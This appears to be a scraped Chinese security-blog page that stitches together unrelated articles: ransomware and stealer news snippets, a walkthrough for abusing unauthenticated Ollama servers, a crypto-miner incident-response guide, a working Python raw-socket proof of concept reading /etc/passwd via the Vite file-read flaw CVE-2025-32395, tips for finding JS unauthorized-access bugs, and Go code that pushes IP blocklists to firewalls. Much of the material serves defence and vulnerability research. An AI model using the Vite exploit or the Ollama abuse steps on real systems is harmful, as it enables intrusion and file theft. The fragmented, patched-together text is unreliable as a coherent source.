珠穆朗玛峰勒索软件团伙据称宣称入侵了麦当劳印度系统

据称的数据泄露规模
关于 Everest 勒索软件团伙
- 华硕(ASUS)
- 日产汽车公司(2026 年 1 月被窃 900 GB 数据)
- 都柏林机场(2025 年 10 月泄露 150 万乘客记录)
麦当劳印度尚未确认泄露事件
- Connaught Plaza Restaurants:负责印度北部和东部
- Hardcastle Restaurants:负责印度西部和南部
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。







对用户来说,这是一个明确的提醒:
从不明来源下载软件往往伴随着隐藏的代价 —— 这次,是你的网络带宽。

在此次人工情报排查工作中,研究人员识别出该团伙伪造的RedLine Solutions虚假身份,并追溯到这款恶意软件的本源:一款由PyInstaller打包的 Python 基可执行程序。
研究人员的分析证实,该程序并非传统的信息窃取类恶意软件,其攻击行为高度聚焦于单一目标:篡改与主流加密货币相关的剪贴板数据。








伊夫林窃取程序完全执行后,会从受感染设备中窃取浏览器密码、Cookie、加密货币钱包、即时通讯会话记录、VPN 配置文件、Wi-Fi 密钥及各类敏感文件。
同时该程序还会捕获设备截图和详细的系统信息,将所有数据压缩为单个压缩包后,上传至攻击者控制的 FTP 服务器。

近期由于Deepseek爆火,大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。
fofa语法:app="Ollama"近日,Ollama存在安全漏洞,该漏洞源于默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。
Ollama所有版本均受此漏洞影响。
随机找一个靶机看看
出现Ollama is running,即证明存在未授权访问的漏洞

通过查看Ollama api文档,Ollama提供了多个API 端点,用于执行不同的操作
详细情况查看:https://ollama.cadn.net.cn/api.html
/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出,例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话,模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记,便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy 用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示,通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。在未授权情况,可以通过访问/api/ps(使用GET请求即可) 获取目前搭建的所有模型信息。

通过返回信息可以看到采用的是deepseek-r1模型,通过刚才我们知道的接口端点信息,我们可以调用/api/chat(使用POST请求)来完成聊天请求,消耗资源。

通过引导deepseek回答问题的过程中也能造成一些信息的泄露
所以在未授权的情况下,其他的接口都是可以用的,危害极大,可以通过调用那些危险接口进行操作,可对模型进行创建或删除的操作
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权对大模型进行操作
限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。
配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。
https://github.com/ollama/ollama/blob/main/docs/faq.md
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

通常来说,当我们的服务器或PC资源(CPU)使用率接近或超过100%,并持续高居不下导致服务器或PC操作延缓,我们就可以判定被挖矿。
常见挖矿其它特征如下:
服务器或PC访问过不受信任的地址,这些地址包括:主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序,而不受信任的来源主要是:第三方情报结构,企业内部历史数据沉淀。
服务器或PC新增异常或恶意文件、进程或服务,并且大部分异常文件保存在服务器或PC的TMP目录中。
服务器或PC的定时任务发生变更。
挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括:高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动(例如,连接挖矿相关的网站或IP地址)。其次是在网络流量中,挖矿木马通信过程采用专门的通信协议,因此存在一定的网络通信特征,因为要连接矿池,网络特征较多的都是TCP。
事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。
可获取CPU占用过高进程信息
了解事件发生时间节点:出现事件时间、发现事件时间、处置事件时间,确定这三个时间节点后,可通过时间相关性推算挖矿病毒产生大致时间,有助于后续挖矿病毒发现及清理。
了解挖矿病毒临时处置的情况,方便后期的排查
获取网络构架,网络构架一般来讲是要拓补图,详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。
根据了解到的基本信息来判断和确认是否挖矿事件
在不影响主业务运行的情况下,拔掉受害主机网线,并且切断网络连接可使挖矿现场尽量保持完整,有助于接下来的溯源工作顺利开展。
可以先根据告警和流量信息初步判断挖矿类型,在互联网收集相关情报,若有相关分析文章可提高事件处置效率。
打开 cmd 窗口,输入
resmon命令,通过资源监视器,找出CPU占用过高的程序,找到PID和进程名。

1、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED
2、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"
netstat -ano
tasklist | findstr "PID"
查看Windows服务所对应的端口:%systemroot%/system32/drivers/etc/services
【计算机管理】->【本地用户和组】->【用户】选项,可查看隐藏账户,名称以$结尾的为隐藏账户。
打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增或可疑的账号。

也可通过D盾查看系统中是否存在影子账户。
a、打开控制面板->任务计划,查看计划任务属性,排查异常任务计划。
b、打开 cmd 窗口,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
a、Win+R,输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。
b、通过安全分析工具进行排查。

a、开始->所有程序->启动,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、Win+R,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、Win+R,输入 regedit,打开注册表,查看开机启动项是否正常,检查是否有启动异常的项目。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonced、利用安全软件查看启动项、开机时间管理。
服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。
Win+R,输入
services.msc,注意服务状态和启动类型,检查是否有异常服务。

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。
通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。
查看进程对应的程序位置
方法1:打开任务管理器,选择对应进程,右键打开文件位置

方法2:Win+R,输入 msinfo32 命令,软件环境->正在运行任务,即可定位到程序的目录信息。

方法3:通过安全分析工具进行定位。
火绒剑->进程->右键进程信息 可直接定位到程序位置,且可查看其命令行参数。


火绒剑->网络 可直接定位到程序位置

TIPS:对于打开文件位置还找不到挖矿文件的情况,则挖矿程序可能被隐藏,可通过配置文件夹选项或通过安全分析工具提取来解决
文件夹选项->查看->高级设置:取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。
若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。
[0x03 样本分析](#0x03 样本分析)


防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。
Windows:使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手:
a、开始->所有程序->【启动
b、系统配置中启动项(win+R->msconfig)
c、注册表查找病毒程序名。
Windows中删除服务可从任务管理器中手动删除
也可使用命令:sc stop [服务名称]
停止服务后,使用命令:sc delete [服务名称] 删除服务。
可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。
Windows中删除时可能存在权限不足等情况,可使用360终端强杀,也可使用进程管理工具强制删除。
top -c-c 查看其完整的命令行参数
top默认的排序列是“%CPU”

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu按照CPU占用显示进程信息

Tips:查看隐藏进程:
ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222top -c -o %MEM
ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem按照内存占用显示进程信息

netstat -pantl-p 显示正在使用Socket的程序识别码和程序名称
-a 显示所有连线中的Socket
-n 直接使用IP地址,而不通过域名服务器
-t 显示TCP传输协议的连线状况
-l 显示监控中的服务器的Socket

a、 crontab
# 列出某个用户cron服务的详细内容
crontab -l
# 使用编辑器编辑当前的crontab文件
crontab -e b、anacron
cat /etc/anacrontab
cat /var/spool/anacron/*重点关注以下目录中是否存在恶意脚本
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。
查询已安装的服务
a、RPM 包安装的服务
# 查看服务自启动状态,可以看到所有的RPM包安装的服务
chkconfig --list
# 查看当前服务
ps aux | grep crond b、源码包安装的服务
检查/etc/rc.d/rc.local
| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户(tty本地登陆 pts远程登录) |
| w | 查看系统信息,想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户,负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |
通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。
方法1:通过top -c命令,可以看到可疑进程的完整目录信息和参数,从而定位到挖矿文件及目录

方法2:通过以下命令,定位到挖矿文件位置
lsof -p pid
systemctl status pid`
ls -al /proc/`pid`/exe
一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。
若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。
[0x03 样本分析](#0x03 样本分析)

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。
crontab -e 删除对应的恶意计划任务
删除存在以下目录的恶意计划任务
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项
Linux中服务清除:sudo update-rc.d [服务名称] remove
查看是否存在子进程
ps ajfx
systemctl status若无子进程,直接kill -9 pid
若有子进程,使用kill -9 -pid 杀死进程组
查看文件占用
lsof `文件名`
若在进程查杀后仍有文件占用,则该进程可能是恶意进程,需继续重复之前步骤再次排查。
无进程占用,直接使用rm命令删除恶意文件
rm -rf [恶意文件绝对路径]Tips:
若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误,则攻击者可能给文件添加了 a 和 i 的权限导致文件无法删除,可使用 lsattr 查看文件权限:
lsattr [文件名]使用 chattr -i [文件名] 或 chattr -a [文件名] 修改文件权限,再用 rm 命令删除:
chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]
若非挖矿事件,按照其他事件处理流程处置。
对于发现的恶意文件和目录应及时备份,为后续分析做准备。
Tips: 对于同系统文件一定要打包后再备份,防止发生二次感染。
a、Linux:
scp 命令:scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa其中:
-P 指定SSH端口
从远程服务器将 target 文件下载到本地的 /home/aaa
使用 Xshell、FinalShell、MobaXterm 等集成工具。
b、Windows:
对可疑文件可先通过云沙箱在线分析,常用的云沙箱包括:
对云沙箱无法分析或分析不全时,可请求安全专家进行分析。
溯源攻击是挖矿病毒应急响应的重要环节,以下是常规溯源流程:
确定攻击入口:
分析攻击手法:
确定攻击者身份:
总结攻击过程:
| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿,常见于Linux系统,配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币,常见于Windows系统,会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿,常见于GPU挖矿,会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具,常见于Web服务器,通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力,通过弱密码或漏洞在内网传播。 |
| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞(如Struts2、ThinkPHP等)传播。 |
| 恶意邮件 | 通过钓鱼邮件传播,附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用,感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |
系统加固:
网络加固:
安全监控:
备份与恢复:
| 工具名称 | 用途 |
| ----------------------------- | ---------------------------------------- |
| Wireshark | 网络流量分析工具,用于分析异常流量。 |
| Process Explorer | 进程管理工具,用于分析可疑进程。 |
| Sysinternals Suite | 系统分析工具集,用于分析系统行为和进程。 |
| VirusTotal | 在线病毒扫描工具,用于分析可疑文件。 |
| Threat Intelligence Platforms | 威胁情报平台,用于获取最新的攻击信息。 |
以上为清理病毒程序方式,后续还需使用终端杀毒对系统进行全面杀毒及加固,并观察是否还有反复迹象。
一切以挖矿木马不再重启,不存在可疑外连为止。
刚好最近有个热门的漏洞Vite系列的漏洞,通过该漏洞我们来学习一下
通过我们用python写POC的时候,我们大部分都是利用python的request的模块来进行发包利用的
正常情况下都是这样写的POC
response = requests.get(url_base + "/@fs/root/vite-project/?/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)其中我们的路径要是比较正常的时候我们通过request模块发包的时候,我们就是能够正常把这个路径发出去的,我们通过bp抓包验证一下

可以看到bp抓到的路径和我们想发出去的路径是一样的,接下来我们假设我们需要发送的路径是这样的
response = requests.get(url_base + "/../../../../../etc/passwd?import&?raw", proxies=proxies,verify=False,headers=headers)再次使用request模块发包的时候,用bp抓包看下

我们在bp中抓到的包的路径就是变成了"/etc/passwd?import&?raw","/../../"在requests中会被吞噬掉,导致我们无法完成利用,这也是在写POC中经常不注意到的一个点,明明手工利用的是时候可以利用,怎么写脚本的时候不行呢,这种时候就可以bp抓包看看想要发送的数据包是不是跟抓到的一样啦。像这种利用的路径,我们还是得用python来实现时怎么实现呢,干货来了
check_url=url_base + "/../../../../../etc/passwd"
s = requests.Session()
r = requests.Request(method='GET', url=check_url)
prep = r.prepare()
prep.url = check_url
result = s.send(prep, verify=False, timeout=10,)
print result.text注意别使用bp代理抓包,经过bp后发送出去的包也是会被吞噬掉“/../../",我们直接通过wireshark捕获流量验证一下

可以看到wireshark发包是能正常刚才的方法把这个路径发送出去的"/../../../../../etc/passwd"
而正常的request模块发包模块则变成了"/etc/passwd?import&?raw"
接下来我们来看这个漏洞Vite 文件读取漏洞(CVE-2025-32395)
看官方的POC是这种形式的
"/@fs/root/vite-project/#/../../../../../etc/passwd"路径中带了#,我们用刚才的两种方式发包测试一下
方式1:
lin_response = requests.get(url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd", proxies=proxies,verify=False,headers=headers)
方式2:
check_url=url_base + "/@fs/root/vite-project/#/../../../../../etc/passwd"
s = requests.session()
r = requests.Request(method='GET', url=check_url)
prep = r.prepare()
prep.url = check_url
result = s.send(prep, verify=False, timeout=10,proxies=proxies)
print result.text通过bp代理和wireshark抓包看下,抓到的包的路径都变成了/@fs/root/vite-project,"/#/../../../../../etc/passwd"这个路径都丢失了,这是因为根据 RFC 3986 标准,# 在 URL 中定义为 片段标识符(Fragment),浏览器和 HTTP 客户端库(如 requests)会默认将其后的内容截断,不会发送到服务端,这意味着:若 # 不编码,其后的路径永远无法到达服务端。所以这个无法通过requests相关脚本来实现


接下来就得使用我们的最后一个终极大法了,绕过 HTTP 协议限制,使用原始 Socket 控制:直接通过 socket 库发送字节流,避免高级 HTTP 库(如 urllib2 或 requests)自动处理 #
通过wireshark抓包,看下我们的路径已经完整发出去了,服务器也能完成处理

通过回显,我们也能看到漏洞能完成利用

关键代码如下
import socket
from urlparse import urlsplit
parsed_url = urlsplit(url_base)
netloc = parsed_url.netloc
paths = ["/@fs/root/vite-project/#/../../../../../etc/passwd"]
if ':' in netloc:
host, port = netloc.split(':', 1)
port = int(port)
else:
host = netloc
# 根据协议设置默认端口
if parsed_url.scheme == 'http':
port = 80
elif parsed_url.scheme == 'https':
port = 443
else:
port = None
for path in paths:
request = (
"GET {path} HTTP/1.1\r\n"
"Host: {host}:{port}\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\r\n"
"Connection: close\r\n"
"\r\n"
).format(path=path, host=host,port=port)
# 发送请求
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(request.encode())
# 接收响应
response = s.recv(4096)
if "root:x" in response.decode():
print url_base,path,response.decode()各位还有什么技巧可以分享交流一下的么,大家一起共同进步
哈喽,师傅们!
这次又来给师傅们分享我的文章心得了呦,这次是给师傅们分享下js未授权漏洞挖掘的一个小技巧的汇总,然后也是会给师傅们分享几个案例,带师傅们更加深刻的理解和看的懂这个js未授权,然后再带师傅们去挖这个漏洞,从怎么挖去带师傅们掌握这个js未授权。
然后特别是给一些不会挖漏洞,然后针对于FindSomething插件工具的使用来做一个分享,让师傅们对呀FindSomething插件的使用更加娴熟,能够更好的利用这个插件,然后让师傅们挖出属于自己的第一个js未授权漏洞!

首先理解什么是未授权漏洞
未授权字面上理解是未获得授权,对于正常的业务来说,有些功能点需要经过登录之后才能进行,那么如果我们通过一些绕过,无需登录也可以完成此类操作,那么便是未授权访问漏洞了。

常见的未授权漏洞一般分为两种:

未授权访问的挖掘不是针对所有网站,这只是一种思路,通过信息收集来实现登录绕过,从而达到未授权。正常来说可以通过抓包修改返回值也可以达到绕过,前提是不知道网站代码的判断情况下,可以尝试猜解返回值。如果网站后端认证做好了,是不会有该漏洞的。
这里就要和师傅们分享下我之前在没有认真研究js未授权的时候,喜欢的一个针对js的一个测试手法。我相信很多师傅应该都是和我一样的思路,就是大家知道且都非常喜欢使用的一个插件findsomething。就是常见的使用findsomething小熊猫头插件打开,然后把里面的泄露的路径进行拼接使用,然后直接拿bp进行POST/GET方法都进行跑一遍,然后再看看有没有什么js路径拼接,然后导致的敏感信息泄露。

然后把插件泄露的js路径保存到一个txt文件夹里面

然后简单的进行GET/POST跑下
然后跑完以后会发现,怎么还是没跑出什么东西来,然后就这样觉得这个js路径很安全,没有漏洞,直接下了

Google插件FindSomething下载链接:https://chromewebstore.google.com/detail/findsomething/kfhniponecokdefffkpagipffdefeldb
为了寻找隐藏的接口
JS中存在一些网址或接口信息,特别是隐藏的一些信息,也就是UI中没有的,这些隐藏的 接口很有可能存在各种常见的漏洞,例如越权,未授权等。
如果我们通过JS中的信息构造出完整的隐藏接口和传参,就有可能发现极其隐蔽的漏洞
师傅们来看下下面的这个接口,是不是可以看到存在一个id参数,那么你要是直接把这个复制下来,然后去使用bp跑,是不是再怎么跑都跑不出什么信息泄露

然后还有就是下面的这个js接口,findsomething显示出来的接口,一个?id=xxx的一个参数,像碰到这样的,我们是不是得提前进行一个数据的处理,然后再放到bp去跑接口,才会最大可能性让你找到一些敏感信息泄露的接口,这样就是有些师傅挖不到js未授权的漏洞,但是有些师傅却可以的原因之一了
还有下面的这种情况,就是跑js路径的时候,需要我们注意前面是否有前缀

像上面的存在一个#的路径,建议是师傅们单独把这些js路径给拿出来,进行一个手动拼接尝试看看未授权,或者说要爆破,那也得把这个/#/这个给带上,然后再进行一个爆破,下面简单来拿百度的给师傅们看看这个案例

下面可以把findsomething的url复制到一个txt文本里面,然后进行替换如下:


就是我们平常在测试漏洞的时候,有时候不传参,或者在参数置空,发包的时候,对方服务器返回的请求是500的时候,那么有时候使用下面的参数进行一个传参,把这个给加上去,那么有时候会有一个不一样的效果,有时候就能返回一些高权限才可以看的内容
{
"pageNum":"1",
"pageSize":"100"
}
{
"pageNo"1",
"pageSize":100,
}
下面是我给师傅们整理的HAE正则匹配,直接使用bp中的hae插件,把下面的规则直接导入到bp插件hae中,或者编辑Rules.yml文件
type:"POST"|type:"GET"|post("|get("|ashx?|ashx|ur1:|ur1:"|ur1:|path:|path:|path:|action?|data|params
针对js未授权漏洞的一个分享呢就到这里文章就结束了,希望这篇文章对师傅们有帮助。
师傅们在挖掘企业src或者edu过程中,这个js未授权和使用FindSomething插件使用去挖掘漏洞来讲,特别是针对小白师傅们是非常友好的,也是蛮建议师傅们看完我的文章然后去进行一个js未授权的一个漏洞挖掘,这样可以让师傅们更加掌握这个技能,也是希望师傅们偶尔挖挖漏洞,然后赚点赏金什么的。
文章中涉及的敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打码处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行承担!
最近刚结束了一个HVV蓝队,比较头疼,甲方内部设备简直太多了,目前各个大厂都是这么玩儿的,本地MSS不好好适配不同厂家的产品,弹起来适配的问题最好的借口就是需要开发介入调整适配,不单单是在适配不同厂商的防火墙上扯皮还是在适配不同厂商探针上同样扯皮,有这扯皮功夫还不如直接写个工具一键封禁得了。其实就目前防守状态来讲,通过告警事件联动不同区域的防火墙这种技术手段太简单了,本地MSS在态感的基础上优化剧本再加上GPT介入研判已经基本上可以解决绝大部分的告警攻击了,可能目前唯一的问题可能就是出现在厂商态感底层告警逻辑上,目前探针获取的流量也只能获取非SSL流量,不做SSL卸载或者SSL证书解密的话一部分告警是无法获取的,另外常见的横向行为和隐藏流量也只能基于厂商设备底层逻辑或者剧本编排。
这次的工具功能是封禁共享情报的ip,或者是基于不同边界的不同品牌的防火墙和WAF的封禁。
下载地址:
配置文件存放在config/config.json中,需要提前配置json文件,负责无法使用程序。这里关于config的文件内容务必按照格式规则设置,否则无法解析。

DP防火墙的登录方式是telnet,逻辑是通过添加ip地址进入地址簿,添加ip地址
package devices
import (
"BT_supertoolsV2/utils"
"fmt"
"strings"
"time"
"github.com/reiver/go-telnet"
)
type DPConfig struct {
Name string `json:"name"`
DeviceIP string `json:"device_ip"`
TelnetPort int `json:"telnet_port"`
Username string `json:"username"`
Password string `json:"password"`
AddressGroup string `json:"address_group"`
Type string `json:"type"`
}
func AddIPsToDP(cfg DPConfig, ips []string) string {
var output strings.Builder
output.WriteString(fmt.Sprintf("=== 开始配置 DP 设备 %s ===\n", cfg.DeviceIP))
// IP 规则化处理
normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
if normalizedIPs == "" {
return "没有有效的 IP 地址!"
}
ipList := strings.Split(normalizedIPs, "\n")
// 连接 Telnet
address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
conn, err := telnet.DialTo(address)
if err != nil {
return fmt.Sprintf("Telnet 连接失败: %v\n", err)
}
defer conn.Close()
// 封装发送命令函数
send := func(cmd string) {
conn.Write([]byte(cmd + "\n"))
time.Sleep(500 * time.Millisecond)
output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
}
// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
send(cfg.Username)
send(cfg.Password)
send("conf")
for _, ip := range ipList {
send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
}
send("exit")
output.WriteString("\n=== 配置完成 ===\n")
return output.String()
}这里没有直接使用回显显示状态,没有监听服务器回显状态再输入命令,具体使用该方式是新增一个地址簿,再策略位置设置封禁策略,引用添加的地址簿即可。界面效果

采用ssh登录使用命令操作
package devices
import (
"fmt"
"strings"
"time"
"golang.org/x/crypto/ssh"
)
func AddIPsToH3C(cfg H3CConfig, ips []string) string {
var output strings.Builder
output.WriteString(fmt.Sprintf("=== 开始配置 H3C 设备 %s ===\n\n", cfg.DeviceIP))
config := &ssh.ClientConfig{
User: cfg.Username,
Auth: []ssh.AuthMethod{
ssh.Password(cfg.Password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: 10 * time.Second,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.SSHPort), config)
if err != nil {
return fmt.Sprintf("SSH连接失败: %v\n", err)
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return fmt.Sprintf("创建会话失败: %v\n", err)
}
defer session.Close()
stdin, err := session.StdinPipe()
if err != nil {
return fmt.Sprintf("获取输入管道失败: %v\n", err)
}
modes := ssh.TerminalModes{
ssh.ECHO: 0,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
}
if err := session.RequestPty("xterm", 80, 40, modes); err != nil {
return fmt.Sprintf("设置终端失败: %v\n", err)
}
if err := session.Shell(); err != nil {
return fmt.Sprintf("启动 shell 失败: %v\n", err)
}
commands := []string{
"system-view",
fmt.Sprintf("object-group ip %s", cfg.AddressGroup),
}
for _, ip := range ips {
commands = append(commands, fmt.Sprintf("network host address %s", ip))
}
commands = append(commands, "exit")
for _, cmd := range commands {
fmt.Fprintf(stdin, "%s\n", cmd)
time.Sleep(300 * time.Millisecond)
output.WriteString(fmt.Sprintf("[执行] %s\n", cmd))
}
output.WriteString("\n=== 配置完成 ===\n")
return output.String()
}这里采用了监听回显,核心代码是
commands := []string{
"system-view",
fmt.Sprintf("object-group ip %s", cfg.AddressGroup),
}
for _, ip := range ips {
commands = append(commands, fmt.Sprintf("network host address %s", ip))
}
commands = append(commands, "exit")当然这里可以增加优化,代码内关于ip地址的添加以及删除等操作都可以做,工具后期可以依托命令功能增加多个模块化设计,当然为了降低操作风险的话,这里黑名单封禁的操作足够使用了。

山石登录方式是telnet登录使用命令操作
import (
"BT_supertoolsV2/utils"
"fmt"
"strings"
"time"
"github.com/reiver/go-telnet"
)
type HSConfig struct {
Name string `json:"name"`
DeviceIP string `json:"device_ip"`
TelnetPort int `json:"telnet_port"`
Username string `json:"username"`
Password string `json:"password"`
AddressGroup string `json:"address_group"`
Type string `json:"type"`
}
func AddIPsToHillstone(cfg HSConfig, ips []string) string {
var output strings.Builder
output.WriteString(fmt.Sprintf("=== 开始配置 Hillstone 设备 %s ===\n", cfg.DeviceIP))
// IP 规则化处理
normalizedIPs := utils.NormalizeIP(strings.Join(ips, "\n"))
if normalizedIPs == "" {
return "没有有效的 IP 地址!"
}
ipList := strings.Split(normalizedIPs, "\n")
// 连接 Telnet
address := fmt.Sprintf("%s:%d", cfg.DeviceIP, cfg.TelnetPort)
conn, err := telnet.DialTo(address)
if err != nil {
return fmt.Sprintf("Telnet 连接失败: %v\n", err)
}
defer conn.Close()
// 封装发送命令函数
send := func(cmd string) {
conn.Write([]byte(cmd + "\n"))
time.Sleep(500 * time.Millisecond)
output.WriteString(fmt.Sprintf("[发送] %s\n", cmd))
}
// 开始发送指令:用户名 -> 密码 -> conf -> 封禁命令 -> exit
send(cfg.Username)
send(cfg.Password)
send("conf")
for _, ip := range ipList {
send(fmt.Sprintf("address-object %s %s/32", cfg.AddressGroup, ip))
}
send("exit")
output.WriteString("\n=== 配置完成 ===\n")
return output.String()
}山石防火墙的命令基本和华三防火墙的命令基本一致,目前基本上可以支持大多数版本型号的防火墙,使用前可以做测试。

网盾K01的话这里采用的是关于api的利用,目前关于网盾K01的黑名单添加的模式是和防火墙不一致的,可以采用接口的方式增加。目前代码中关于黑名单添加的事件设置的是3600小时。
// 批量封禁
func AddBlacklist(devices []K01Device, ips []string, output *widget.Entry) {
for _, device := range devices {
appendOutput(output, fmt.Sprintf("🔑 正在登录设备 [https://%s]...", device.IP))
// 登录并获取 Token
url := fmt.Sprintf("https://%s", device.IP)
token := Login(url, device.Username, device.Password, output, device.Name)
if token == "" {
